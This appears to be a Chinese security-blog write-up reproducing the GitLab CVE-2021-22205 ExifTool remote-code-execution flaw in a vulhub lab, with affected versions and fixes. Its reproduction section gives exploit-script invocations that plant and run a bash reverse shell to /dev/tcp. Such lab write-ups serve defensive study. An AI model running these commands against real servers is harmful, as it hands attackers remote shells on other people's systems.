0x00 漏洞簡介:
漏洞出來第一時間,聽漏洞澮測的朋友傳來的情報,就及時給了POC,但一直沒復現,只是簡單看了文章,提到需要可以注冊用戶才能進行攻擊,然后就感覺挺雞肋,沒有再繼續看。
恰巧好基友濤子給我發來他復現的文章,看了看exp,感覺並沒那么雞肋,相反可以通過未授權進行權限的獲取,正好自己也復現了一手,同時借用濤子的文章給大家展現了出來。
GitLab 是一個用於倉庫管理系統的開源項目,使用 Git 作為代碼管理工具,並在此基礎上搭建起來的 Web服務。
GitLab是一款Ruby開發的Git項目管理平台。如11.9以后的GitLab中,因為使用了圖片處理工具ExifTool而受到漏洞CVE-2021-22204的影響,攻擊者可以通過一個未授權的接口上傳一張惡意構造的圖片,進而在GitLab服務器上執
參考鏈接:
- https://hackerone.com/reports/1154542
- https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html
- https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/
- https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-22205.yaml
- https://github.com/vulhub/vulhub/blob/master/gitlab/CVE-2021-22205/README.zh-cn.md
0x01 影響版本:
該漏洞影響以下GitLab企業版和社區版:11.9 <= GitLab(CE/EE)< 13.8.813.9 <= GitLab(CE/EE)< 13.9.613.10 <=GitLab(CE/EE)< 13.10.3本文復現版本:Gitlab CE 13.10.1
0x02 漏洞環境
建議內存>8
執行如下命令啟動一個GitLab 13.10.1版本服務器:
git clone https://github.com/vulhub/vulhub.gitcd vulhub/gitlab/CVE-2021-22205/docker-compose up -d環境啟動后,訪問http://your-ip:8080即可查看到GitLab的登錄頁面。
0x03 漏洞復現
漏洞POC
漏洞驗證
python CVE-2021-22205.py -v true -t http://Your IP:Port
命令執行:
反彈shell:
python3 CVE-2021-2205.py -a true -t http://Your IP:port -c "echo 'bash -i >& /dev/tcp/ip/port 0>&1' > /tmp/1.sh"
這條語句意思是代表,將反彈shell命令寫成sh腳本 到tmp目錄下
python3 CVE-2021-2205.py -a true -t http://Your IP:port -c "chmod +x /tmp/1.sh"
這條語句意思是代表,對寫入成功的sh腳本加執行權限
python3 CVE-2021-2205.py -a true -t http://Your IP:port -c "/bin/bash /tmp/1.sh"
這條語句意思是代表,運行反彈shell腳本
0x04 修復方案
1、及時升級GitLab至最新安全版本
2、配置訪問控制策略,避免受影響的GitLab暴露在公網